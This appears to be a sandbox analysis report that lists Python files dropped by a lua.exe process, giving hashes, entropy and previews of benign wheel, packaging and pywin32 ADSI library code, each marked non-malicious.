SHA-256:	80469C93AAB7BE06E6AE07A7EDC3B77C23AFEAF145E21876298CA3DDF2A4E782
SHA-512:	FE5D2BDDE8E349E98F4985FF6E27AB6CC38F34CCDD670EB40E95B0FDE103C1EF8243EC2A4ACCDEAFF42BC8C1B680C07DE8C0622C152CE9A16CDB735AF0ED4461
Malicious:	false
Preview:	__version__ = '0.36.2'.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\__main__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	417
Entropy (8bit):	4.593644942245126
Encrypted:	false
SSDEEP:	12:KlbJ2NGHy86IiEE8fTo2gMzk+h3s2pIzv:mxHp6IiE02xh3hpwv
MD5:	3676F24A2606DFB766DF390477ED4054
SHA1:	82ECEC85E22F97AFCC3FCCE933C54CC72966F637
SHA-256:	945F982CEE217509A85AE87879665DF182F553DE5149D9BBEAC34B0576B4BE31
SHA-512:	D102A87CE3DB5914F18C3DAC1091CA39AAEC3F022F7CA023EEDE2AF8EC4BA4713980B77286EB15350E4697CF08544BE3093F8C64CE09A17C8494460934B08494
Malicious:	false
Preview:	""".Wheel command line tool (enable python -m wheel syntax)."""..import sys...def main(): # needed for console script. if __package__ == '':. # To be able to run 'python wheel-0.9.whl/wheel':. import os.path. path = os.path.dirname(os.path.dirname(__file__)). sys.path[0:0] = [path]. import wheel.cli. sys.exit(wheel.cli.main())...if __name__ == "__main__":. sys.exit(main()).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\bdist_wheel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19075
Entropy (8bit):	4.449992482503777
Encrypted:	false
SSDEEP:	384:UQLQK5leDUE6p915OEj+B731iHJ5rsp+Eo8KJg+rnBB:UQQK5leDUXT+B7lqUy8Eg6nBB
MD5:	8A32774152F6450368FC05C93ABFACC6
SHA1:	B083EAEDE96E0813A99D587BD13A75927FD60E3C
SHA-256:	DAF7EFDE0FDBF01BD9E43A3D6E92C405DBBD75011CBE8310D5F957A4A6052435
SHA-512:	A4FFEF00A3CE353151E8462745D07E7A22F2C79023476C9BC4DAB20ABA4EE9F80F682D7AAA23F76F353850C8CA043890BC025D440A1DF75136C20EC3E169BE68
Malicious:	false
Preview:	""".Create a wheel (.whl) distribution...A wheel is a built archive format.."""..import distutils.import os.import shutil.import stat.import sys.import re.import warnings.from collections import OrderedDict.from distutils.core import Command.from distutils import log as logger.from io import BytesIO.from glob import iglob.from shutil import rmtree.from sysconfig import get_config_var.from zipfile import ZIP_DEFLATED, ZIP_STORED..import pkg_resources..from .pkginfo import write_pkg_info.from .macosx_libfile import calculate_macosx_platform_tag.from .metadata import pkginfo_to_metadata.from .vendored.packaging import tags.from .wheelfile import WheelFile.from . import __version__ as wheel_version..if sys.version_info < (3,):. from email.generator import Generator as BytesGenerator.else:. from email.generator import BytesGenerator..safe_name = pkg_resources.safe_name.safe_version = pkg_resources.safe_version..PY_LIMITED_API_PATTERN = r'cp3\d'...def python_tag():. return 'py{}'.fo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2572
Entropy (8bit):	4.6390882556133555
Encrypted:	false
SSDEEP:	48:i+WpCeAEmmqxL4s5vDl+WdLjbCWEzLMQLSUwAdn:m8U+tvB+WdnbCWK4Qdn
MD5:	61CA7308E0B82DFE54D728E549409F8F
SHA1:	AD4BF425AD230A5E1F066C3E242427AB78A409C5
SHA-256:	1964A8194A5169B4DFF1B93716C3533EB73916CAFC60EBF6757E79898D96EDE6
SHA-512:	C55D6FD9D67FF693C30F79A098BD144994C9FDA28FB23131F4218AA52D1BAD703BB9904F03F3866A1C9A77C7D4044ECA8C422E80C6F38AA39AB249C6EF4EC562
Malicious:	false
Preview:	""".Wheel command-line utility.."""..from __future__ import print_function..import argparse.import os.import sys...def require_pkgresources(name):. try:. import pkg_resources # noqa: F401. except ImportError:. raise RuntimeError("'{0}' needs pkg_resources (part of setuptools).".format(name))...class WheelError(Exception):. pass...def unpack_f(args):. from .unpack import unpack. unpack(args.wheelfile, args.dest)...def pack_f(args):. from .pack import pack. pack(args.directory, args.dest_dir, args.build_number)...def convert_f(args):. from .convert import convert. convert(args.files, args.dest_dir, args.verbose)...def version_f(args):. from .. import __version__. print("wheel %s" % __version__)...def parser():. p = argparse.ArgumentParser(). s = p.add_subparsers(help="commands").. unpack_parser = s.add_parser('unpack', help='Unpack wheel'). unpack_parser.add_argument('--dest', '-d', help='Destination directory',.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\convert.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9498
Entropy (8bit):	4.559515415435157
Encrypted:	false
SSDEEP:	192:8D1onoRjUSSMQ+wxabh1pr1Axp12H0+AwTtZ77:8JLRSMQ+BRrSKHuq97
MD5:	8058CD61079600BC3AD259FA26CED2E8
SHA1:	AEE8A627CD3300A23F1C03C654A36320A4ACD712
SHA-256:	EC5E2F8F6DC0D8E8210C35A7F605F657EFD37973336B56B99C87A39851845093
SHA-512:	A300CFD4B61A82320010B5BE48AAB2C1D308CBC9A6A824519E634523778ABD428F3986ADB595200C200CCD6F3F82F8566F45956C9838FD87658B271E355A75BF
Malicious:	false
Preview:	import os.path.import re.import shutil.import sys.import tempfile.import zipfile.from distutils import dist.from glob import iglob..from ..bdist_wheel import bdist_wheel.from ..wheelfile import WheelFile.from . import WheelError, require_pkgresources..egg_info_re = re.compile(r'''. (?P<name>.+?)-(?P<ver>.+?). (-(?P<pyver>py\d\.\d+). (-(?P<arch>.+?))?. )?.egg$''', re.VERBOSE)...class _bdist_wheel_tag(bdist_wheel):. # allow the client to override the default generated wheel tag. # The default bdist_wheel implementation uses python and abi tags. # of the running python process. This is not suitable for. # generating/repackaging prebuild binaries... full_tag_supplied = False. full_tag = None # None or a (pytag, soabitag, plattag) triple.. def get_tag(self):. if self.full_tag_supplied and self.full_tag is not None:. return self.full_tag. else:. return bdist_wheel.get_tag(self)...def egg2wheel(egg_path, dest_dir):. fil

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\pack.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3208
Entropy (8bit):	4.757420525034607
Encrypted:	false
SSDEEP:	96:EF6WSfURgQwB+NIXF1Elq8R8ujHqE1VtyTIRO:EgWp+QJk1ElT1tyTIRO
MD5:	67BA28165400D5B8C829D1B78989DE45
SHA1:	ACC9D900FB7DAB9D1DBDDF32C2AA2DF6603080E7
SHA-256:	4BE275888CB518F0D34C3767FBF4B0C466BB37BDBD878899348D75103142A9F0
SHA-512:	01E8AB366D389E0C79D4ACE4A4B0AA0F4220CA6AA12F6862A3EE08E32DE2DCA9E26732881FA9FD58C22EE067D952EA4D79EB2D779E704D765654847EEF04E174
Malicious:	false
Preview:	from __future__ import print_function..import os.path.import re.import sys..from wheel.cli import WheelError.from wheel.wheelfile import WheelFile..DIST_INFO_RE = re.compile(r"^(?P<namever>(?P<name>.+?)-(?P<ver>\d.?))\.dist-info$").BUILD_NUM_RE = re.compile(br'Build: (\d\w)$')...def pack(directory, dest_dir, build_number):. """Repack a previously unpacked wheel directory into a new wheel file... The .dist-info/WHEEL file must contain one or more tags so that the target. wheel file name can be determined... :param directory: The unpacked wheel directory. :param dest_dir: Destination directory (defaults to the current directory). """. # Find the .dist-info directory. dist_info_dirs = [fn for fn in os.listdir(directory). if os.path.isdir(os.path.join(directory, fn)) and DIST_INFO_RE.match(fn)]. if len(dist_info_dirs) > 1:. raise WheelError('Multiple .dist-info directories found in {}'.format(directory)). elif not dist_info_dirs:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\unpack.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	673
Entropy (8bit):	4.623674288370941
Encrypted:	false
SSDEEP:	12:1RjPZTKyNZDw5d7hxXylsgoODrtl1eqXaSU/oDvtkuZOvYFQAFFce:1RcwCd7hxXTg/ftf/XEWXZOvY2AFFce
MD5:	ED26FD85DA61435ED84E34BC45F77470
SHA1:	42F2FFA49D8D34D2DA6A1B490890F8F394C08436
SHA-256:	D155B34FB53FC727A74CFC0455ABF1AAF75E7BDDC63EF0051E747752EF756917
SHA-512:	46082397B1848AAEB83577C64416022BDEA49C14E0C29D17A745E20C65C87DB219C7FFFE9198EEC8079798DC6A91FE769E44B9471477A30A07163312387AC0B7
Malicious:	false
Preview:	from __future__ import print_function..import os.path.import sys..from ..wheelfile import WheelFile...def unpack(path, dest='.'):. """Unpack a wheel... Wheel content will be unpacked to {dest}/{name}-{ver}, where {name}. is the package name and {ver} its version... :param path: The path to the wheel.. :param dest: Destination directory (default to current directory).. """. with WheelFile(path) as wf:. namever = wf.parsed_filename.group('namever'). destination = os.path.join(dest, namever). print("Unpacking to: {}...".format(destination), end=''). sys.stdout.flush(). wf.extractall(destination).. print('OK').

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\macosx_libfile.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15931
Entropy (8bit):	4.8771915855977745
Encrypted:	false
SSDEEP:	384:zMkfViwqbGaxERa5V3YwBTAgH9hZf4KHFGYGrx:IeadxERa5V3YwBTN9hp4KHFGYGrx
MD5:	FED1681DD9488CF8553C3273FCB374F1
SHA1:	7685F657B37EF197281C28962E5813F787E21E9B
SHA-256:	EEF11C1A5976DCADDF88B8EDB47D229ED8F14743482BC3BABE29A3459EC10A87
SHA-512:	63715632A1529687A773435DBDE2B9BD76111BEF1AB4A0EDB2AE99CEB97C60D05F3A530C03602D1D0236B21B55AC8B4A8AE32931B414E669433F98104C71BFB7
Malicious:	false
Preview:	""".This module contains function to analyse dynamic library.headers to extract system information..Currently only for MacOSX..Library file on macosx system starts with Mach-O or Fat field..This can be distinguish by first 32 bites and it is called magic number..Proper value of magic number is with suffix _MAGIC. Suffix _CIGAM means.reversed bytes order..Both fields can occur in two types: 32 and 64 bytes...FAT field inform that this library contains few version of library.(typically for different types version). It contains.information where Mach-O headers starts...Each section started with Mach-O header contains one library.(So if file starts with this field it contains only one version)...After filed Mach-O there are section fields..Each of them starts with two fields:.cmd - magic number for this command.cmdsize - total size occupied by this section information...In this case only sections LC_VERSION_MIN_MACOSX (for macosx 10.13 and earlier).and LC_BUILD_VERSION (for macosx 10.14 an

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\metadata.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4344
Entropy (8bit):	4.542573351743192
Encrypted:	false
SSDEEP:	96:NNwTWa2v++EzqH+NL7FPnMzMn0VgjhgM8vG0vBT29:2Wa2G+E+H+rPnMzM0yjhgl5JT29
MD5:	6797003E625CA4EA70D693CB3B1156DD
SHA1:	B0D56A67D1E58B2EB3F0EF2A298F26815F5A1404
SHA-256:	6F790F8599F6C360FDC1E9E096D5F99C621943711150E43953E2B9BC728F75E8
SHA-512:	25A10A7B8DC19D0C74C233690D1F30DB7549CFAAA50D0AFE0A5949A86A2CD3D5FFF12B9DFFE1BC77A9D2829C889ABDBAD51A0EB021B2325F00D150575C8F6F16
Malicious:	false
Preview:	""".Tools for converting old- to new-style metadata.."""..import os.path.import textwrap..import pkg_resources..from .pkginfo import read_pkg_info...def requires_to_requires_dist(requirement):. """Return the version specifier for a requirement in PEP 345/566 fashion.""". if getattr(requirement, 'url', None):. return " @ " + requirement.url.. requires_dist = []. for op, ver in requirement.specs:. requires_dist.append(op + ver). if not requires_dist:. return ''. return " (%s)" % ','.join(sorted(requires_dist))...def convert_requirements(requirements):. """Yield Requires-Dist: strings for parsed requirements strings.""". for req in requirements:. parsed_requirement = pkg_resources.Requirement.parse(req). spec = requires_to_requires_dist(parsed_requirement). extras = ",".join(sorted(parsed_requirement.extras)). if extras:. extras = "[%s]" % extras. yield (parsed_requirement.project_name + extras + sp

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\pkginfo.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1257
Entropy (8bit):	4.472987506321427
Encrypted:	false
SSDEEP:	24:vl5eGLhTOXvcLlhYGW5hEBNwIO1HhduX6NjIohgNwIOpH024:vlEGFTcClW3kglZb0gpb4
MD5:	7AD63685FF9845C7DFF88A834B094B5C
SHA1:	58990D01C6A8BB343FCD6843C80628364C599B6C
SHA-256:	191EFA92EA50CE7D71F6C283697B84E81E85B19E0E91F46D1BBA677655CFBD0E
SHA-512:	003D4390FBE6B20695F4559525DCD3606AC2948FFA69BA9254AF418B782683648516DFCB8765B76CC93C28D7E716D91825FC4A5CFEB3D0A9F40020BAA92CC457
Malicious:	false
Preview:	"""Tools for reading and writing PKG-INFO / METADATA without caring.about the encoding."""..from email.parser import Parser..try:. unicode. _PY3 = False.except NameError:. _PY3 = True..if not _PY3:. from email.generator import Generator.. def read_pkg_info_bytes(bytestr):. return Parser().parsestr(bytestr).. def read_pkg_info(path):. with open(path, "r") as headers:. message = Parser().parse(headers). return message.. def write_pkg_info(path, message):. with open(path, 'w') as metadata:. Generator(metadata, mangle_from_=False, maxheaderlen=0).flatten(message).else:. from email.generator import BytesGenerator.. def read_pkg_info_bytes(bytestr):. headers = bytestr.decode(encoding="ascii", errors="surrogateescape"). message = Parser().parsestr(headers). return message.. def read_pkg_info(path):. with open(path, "r",. encoding="ascii",. errors="surro

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\util.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	938
Entropy (8bit):	4.627919387593039
Encrypted:	false
SSDEEP:	24:iKCsXxPOkqimBsp+kbs+oEp6k7yssSCOqeN:JCsdOgsY4rpSCOqeN
MD5:	1FBA0F56031F3B4B24F808285EF76658
SHA1:	3D368F500FAE11E60CF6E50E4B86732613C6C004
SHA-256:	9A73599090A2F431CB23FAB8953B9DA03D265BDEE1FC0A005A5EE9ACD3CB5C97
SHA-512:	85638041CFF5B735239515FEB06236B95852A0B28AF283A79C14F49D1F0383524F0A44DB86211D30534BEFD37449715653B7BB50AE9671536A6AB285DC0C437F
Malicious:	false
Preview:	import base64.import io.import sys...if sys.version_info[0] < 3:. text_type = unicode # noqa: F821.. StringIO = io.BytesIO.. def native(s, encoding='utf-8'):. if isinstance(s, unicode): # noqa: F821. return s.encode(encoding). return s.else:. text_type = str.. StringIO = io.StringIO.. def native(s, encoding='utf-8'):. if isinstance(s, bytes):. return s.decode(encoding). return s...def urlsafe_b64encode(data):. """urlsafe_b64encode without padding""". return base64.urlsafe_b64encode(data).rstrip(b'=')...def urlsafe_b64decode(data):. """urlsafe_b64decode without padding""". pad = b'=' * (4 - (len(data) & 3)). return base64.urlsafe_b64decode(data + pad)...def as_unicode(s):. if isinstance(s, bytes):. return s.decode('utf-8'). return s...def as_bytes(s):. if isinstance(s, text_type):. return s.encode('utf-8'). return s.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\packaging\_typing.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.751869054200876
Encrypted:	false
SSDEEP:	48:xWbqWeWBqxBXoYxtKwXF8opwKjtuvMiqF:y3cr4KkOpgi
MD5:	B0DAC8EF6953FB835C7D633E6A427BA7
SHA1:	F521B39E0501E178412D557AC85D625626B85326
SHA-256:	C79F44850E7B4CC4FE9134722D9576E4766F6061B06EE713A3A88A87F3B4B4CC
SHA-512:	DE5D2189075A26DC2E9BA41C1BBF2D4CCD3D5FB475802A0D7A70E311A301C4C4CB619D9F15C6263A420583B4F8BF87FCD589D6F96FE7B1EDC367B875D54CFDDA
Malicious:	false
Preview:	"""For neatly implementing static typing in packaging...`mypy` - the static type analysis tool we use - uses the `typing` module, which.provides core functionality fundamental to mypy's functioning...Generally, `typing` would be imported at runtime and used in that fashion -.it acts as a no-op at runtime and does not have any run-time overhead by.design...As it turns out, `typing` is not vendorable - it uses separate sources for.Python 2/Python 3. Thus, this codebase can not expect it to be present..To work around this, mypy allows the typing import to be behind a False-y.optional to prevent it from running at runtime and type-comments can be used.to remove the need for the types to be accessible directly during runtime...This module provides the False-y guard in a nicely named fashion so that a.curious maintainer can reach here to read this...In packaging, all static-typing related imports should be guarded as follows:.. from packaging._typing import TYPE_CHECKING.. if TYPE_CHEC

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\packaging\tags.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	28937
Entropy (8bit):	4.798362887190139
Encrypted:	false
SSDEEP:	768:id+2LXmOvtnE/okOEl2hx1plf3BoQ3D6Xlp+zeVzegzetNBEq1KW0fbvOkOuL546:idVSUE/okOEl2D1plPBoQ3D6Xlp+zeVD
MD5:	C97E817A9237743131B2DD2931825CE0
SHA1:	725857FE44CA4DD40C23D58EBA5185CE75B58E6B
SHA-256:	CBC86016A7D5D0AAE2A3E1DE80F0770F4A7F01E898704F17C0094476612B0DED
SHA-512:	6704159CF937E42E0A406ABBC06F2CFF76C3FC096AB5FDB7C44E9FCD37B7D4A73EEA063B309A407C0AE15C776E8C82738272761EC41FC38D23FF3F73E452DCDA
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import..import distutils.util..try:. from importlib.machinery import EXTENSION_SUFFIXES.except ImportError: # pragma: no cover. import imp.. EXTENSION_SUFFIXES = [x[0] for x in imp.get_suffixes()]. del imp.import collections.import logging.import os.import platform.import re.import struct.import sys.import sysconfig.import warnings..from ._typing import TYPE_CHECKING, cast..if TYPE_CHECKING: # pragma: no cover. from typing import (. Dict,. FrozenSet,. IO,. Iterable,. Iterator,. List,. Optional,. Sequence,. Tuple,. Union,. ).. PythonVersion = Sequence[int]. MacVersion = Tuple[int, int]. GlibcVersion = Tuple[int, int]...logger = logging.getLogger(__name__)..INTERPRETER_SHORT_NAMES

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\wheelfile.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7336
Entropy (8bit):	4.490682078781122
Encrypted:	false
SSDEEP:	96:+V55Rcv+Y++dqB2qjePon8ZrxFAtnut3Q/u3wJHZmYxbbLZvZmg3SFIigOsbbC9p:+HcRVjNOK393iZqg3SKI9p
MD5:	63D5579F01DF95CEF6B891FB0DD688DA
SHA1:	549EF8A51F664D4221DC7AEB209092863DB8CF59
SHA-256:	ECA80E2B5CE7AE8F83F007A580D104E2383A7C361763F06EE9CADDA8B6F61104
SHA-512:	C49C4899D7713AFE523AFC9C2BC1BC33B29FF8958192006D363B9EBE8F535FFB7D05BEE99E90998D365E8AF130CCF03E6B8AD0F03F12A375F173E5C5C8D0659D
Malicious:	false
Preview:	from __future__ import print_function..import csv.import hashlib.import os.path.import re.import stat.import time.from collections import OrderedDict.from distutils import log as logger.from zipfile import ZIP_DEFLATED, ZipInfo, ZipFile..from wheel.cli import WheelError.from wheel.util import urlsafe_b64decode, as_unicode, native, urlsafe_b64encode, as_bytes, StringIO..# Non-greedy matching of an optional build number may be too clever (more.# invalid wheel filenames will match). Separate regex for .dist-info?.WHEEL_INFO_RE = re.compile(. r"""^(?P<namever>(?P<name>.+?)-(?P<ver>.+?))(-(?P<build>\d[^-]*))?. -(?P<pyver>.+?)-(?P<abi>.+?)-(?P<plat>.+?)\.whl$""",. re.VERBOSE)...def get_zipinfo_datetime(timestamp=None):. # Some applications need reproducible .whl files, but they can't do this without forcing. # the timestamp of the individual ZipInfo objects. See issue #143.. timestamp = int(os.environ.get('SOURCE_DATE_EPOCH', timestamp or time.time())). return time.gmti

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3323
Entropy (8bit):	5.101473434767897
Encrypted:	false
SSDEEP:	96:iQnQGME0sKV8SoScItAnAjn+K8pvkaluJ9fGkWGmGn:BnQGp0getQAjnQlY9ekXmGn
MD5:	EA7062B33FFAD3D32591E9C9144D14F2
SHA1:	9C87A21C58C505B569E21B249B6C64FCA946059F
SHA-256:	199D07151AD95F088D6A62B641082DE7EF8316311460D0618E86690523560B3E
SHA-512:	DDF8433291B37DA2A8920E9104E213CC91A2BF5E411A7A089FE940F9FBFE90BBFBBADFD90D92A99143C0D8E18095F23C6341F47EB82A0579E96625866D8DAE52
Malicious:	false
Preview:	import win32com.import win32com.client..if type(__path__)==type(''):..# For freeze to work!..import sys..try:...import adsi...sys.modules['win32com.adsi.adsi'] = adsi..except ImportError:...pass.else:..# See if we have a special directory for the binaries (for developers)..win32com.__PackageSupportBuildPath__(__path__)...# Some helpers.# We want to _look_ like the ADSI module, but provide some additional.# helpers...# Of specific note - most of the interfaces supported by ADSI.# derive from IDispatch - thus, you get the custome methods from the.# interface, as well as via IDispatch..import pythoncom.from .adsi import *..LCID = 0..IDispatchType = pythoncom.TypeIIDs[pythoncom.IID_IDispatch].IADsContainerType = pythoncom.TypeIIDs[adsi.IID_IADsContainer]..def _get_good_ret(ob,..... # Named arguments used internally..... resultCLSID = None):..assert resultCLSID is None, "Now have type info for ADSI objects - fix me!"..# See if the object supports IDispatch..if hasattr(ob, "Invoke"):...imp

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\adsi.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	5.87641926904022
Encrypted:	false
SSDEEP:	1536:3ZXMECQdnKLfjUAZ1oqEnvkkTE+kE0VBeEEIYDMjG7lsVc:3ZcxoJbqEnv1TE+kEeXvjG7Ic
MD5:	61DF3D8A18EFAC96AF96FBA2491FD60C
SHA1:	976E4B3EE8D97AF57BC5A768F2C4AA8528A1115F
SHA-256:	1663C06C33738F9666FBD1522CCAB3FF2C0DD3C9DAB5BA47D3BEE4C7952F162C
SHA-512:	F5F0A7343C8C673125C27DD488B72185CB3A5F2EEDFB584790AC2D8C50D134FBBD675EAD1F24355F3E74B36774A932E5770847319AF818FA311D6243012A9A7B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0..ptp.#tp.#tp.#}.}#\|p.#O.."vp.#O.."up.#O.."ep.#O.."\|p.#..."pp.#..."vp.#..."pp.#..."}p.#tp.#.p.#..."~p.#..."up.#..."up.#Richtp.#........................PE..d...G]._.........." ..........................A...........................................`..........................................0..H...X0..........D.......................H.......T............................................................................text............................... ..`.rdata..............................@..@.data...."...P.......6..............@....pdata...............N..............@..@.gfids..4............`..............@..@.rsrc...D............b..............@..@.reloc..H............f..............@..B................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\adsicon.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12541
Entropy (8bit):	4.873446208477536
Encrypted:	false
SSDEEP:	192:4RIBxKFGxaYNblJQZkVWbdc8aQVSfr77gbkd:4pjwJQlc8bSj77gQd
MD5:	0C6C8B9C9F2DD8CBB6D54C73B5CBBE70
SHA1:	0C5F8EA140DC4106FB923B9995DF99B22CDB4ED2
SHA-256:	C11312C62B3F5C7C67203C7CBBB62F2B9E4D64B04EC98A5333ACC0EB99FB1380
SHA-512:	494D6C31FD868EAE5615D2CF4EC937F64D844D6069D6E951E693E8150DB1450C0E06D4CBF1EDD05DBBEDB095480F69978EB51A7F69970F9F1ED9A1E92AC732CC
Malicious:	false
Preview:	ADS_ATTR_CLEAR = ( 1 ).ADS_ATTR_UPDATE = ( 2 ).ADS_ATTR_APPEND = ( 3 ).ADS_ATTR_DELETE = ( 4 ).ADS_EXT_MINEXTDISPID = ( 1 ).ADS_EXT_MAXEXTDISPID = ( 16777215 ).ADS_EXT_INITCREDENTIALS = ( 1 ).ADS_EXT_INITIALIZE_COMPLETE = ( 2 )..ADS_SEARCHPREF_ASYNCHRONOUS = 0.ADS_SEARCHPREF_DEREF_ALIASES = 1.ADS_SEARCHPREF_SIZE_LIMIT = 2.ADS_SEARCHPREF_TIME_LIMIT = 3.ADS_SEARCHPREF_ATTRIBTYPES_ONLY = 4.ADS_SEARCHPREF_SEARCH_SCOPE = 5.ADS_SEARCHPREF_TIMEOUT = 6.ADS_SEARCHPREF_PAGESIZE = 7.ADS_SEARCHPREF_PAGED_TIME_LIMIT = 8.ADS_SEARCHPREF_CHASE_REFERRALS = 9.ADS_SEARCHPREF_SORT_ON = 10.ADS_SEARCHPREF_CACHE_RESULTS = 11.ADS_SEARCHPREF_DIRSYNC = 12.ADS_SEARCHPREF_TOMBSTONE = 13..ADS_SCOPE_BASE = 0.ADS_SCOPE_ONELEVEL = 1.ADS_SCOPE_SUBTREE = 2..ADS_SECURE_AUTHENTICATION = 0x1.ADS_USE_ENCRYPTION = 0x2.ADS_USE_SSL = 0x2.ADS_READONLY_SERVER = 0x4.ADS_PROMPT_CREDENTIALS = 0x8.ADS_NO_AUTHENTICAT

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\objectPicker.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1987
Entropy (8bit):	4.871831040274271
Encrypted:	false
SSDEEP:	48:lHUu2cCmGV9+jMiiuKtsujlyFLLVhYwVG1baoiPppZCWxW:NUTT0iHZj8xLXYeG1baogpppxW
MD5:	FDEA4EDA4794A2F23CB67188FCBF99CA
SHA1:	78AE5F129492DB0AAEE7A45D6BD992342E6ACBB7
SHA-256:	1497E07B0C04848033F6EDC254EEB67C9B7F2A9FC2F63765906A6895CC7D9758
SHA-512:	55DC00DD6D5184EFE1ED755158CDB25FAD3DCD8D512E48A3C2A451FED2D5D8F46D2FA16E0C6D6C93301B2962B79A1006011E4F6304FF870460FCF642D25A131E
Malicious:	false
Preview:	# A demo for the IDsObjectPicker interface..import win32clipboard.import pythoncom.from win32com.adsi import adsi.from win32com.adsi.adsicon import *..cf_objectpicker = win32clipboard.RegisterClipboardFormat(CFSTR_DSOP_DS_SELECTION_LIST)..def main(): . hwnd = 0. . # Create an instance of the object picker. . picker = pythoncom.CoCreateInstance(adsi.CLSID_DsObjectPicker,. None,. pythoncom.CLSCTX_INPROC_SERVER,. adsi.IID_IDsObjectPicker).. # Create our scope init info.. siis = adsi.DSOP_SCOPE_INIT_INFOs(1). sii = siis[0]. . # Combine multiple scope types in a single array entry.. . sii.type = DSOP_SCOPE_TYPE_UPLEVEL_JOINED_DOMAIN \| \. DSOP_SCOPE_TYPE_DOWNLEVEL_JOINED_DOMAIN. . # Set uplevel and downlevel filters to include only computer objects.. # Uplevel filters apply to both mixed and native modes.. # Notice that the uplevel and downlevel flags ar

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\scp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19531
Entropy (8bit):	4.704580833578317
Encrypted:	false
SSDEEP:	192:M3xkN3KcPgrBMb4LTuLUpNa/o58mhMVo62okyG+77QtsKogtWmnxIo8BA3GIDYro:A57lu8agyUcOzEZLE3
MD5:	59B564F7EBB960ED662BEDE8A1415B22
SHA1:	751C4311AD627330C716190BD90BA3CEA4650077
SHA-256:	6671F37454D6B59F89CEAA9C95192BAE2DF879E8F70EACD06996A2EE66F2A4C0
SHA-512:	7C4EFACEBD38D3DE482F79A7A1CBA1E83C36ADA32431BC1E12EA5AF954F3891765AAB4516FC279580E5F0D4D0DD909BB8C4EFBE04EF541E4DDD7085719D18D38
Malicious:	false
Preview:	"""A re-implementation of the MS DirectoryService samples related to services...* Adds and removes an ActiveDirectory "Service Connection Point",. including managing the security on the object..* Creates and registers Service Principal Names..* Changes the username for a domain user...Some of these functions are likely to become move to a module - but there.is also a little command-line-interface to try these functions out...For example:..scp.py --account-name=domain\\user --service-class=PythonScpTest \\. --keyword=foo --keyword=bar --binding-string=bind_info \\. ScpCreate SpnCreate SpnRegister..would:.* Attempt to delete a Service Connection Point for the service class. 'PythonScpTest'.* Attempt to create a Service Connection Point for that class, with 2. keywords and a binding string of 'bind_info'.* Create a Service Principal Name for the service and register it..to undo those changes, you could execute:..scp.py --account-name=domain\\user --service-class=PythonScpTe

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\search.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4265
Entropy (8bit):	4.590115252026879
Encrypted:	false
SSDEEP:	96:hum+oR4VOObthZxFyodTPDQLnNqZ1Xmx8HsiZIpYS3ua:hHOpnx3TLQrILXmx8MqIKpa
MD5:	49DF6CD71E06ABA5B1C98121885E6916
SHA1:	972A668831DCAA2A08946182C11D69483666CAD1
SHA-256:	48A562213D3022C6753D1A938C460CF6C93ECCB35A4CB7F05699C7DEE65E4E5A
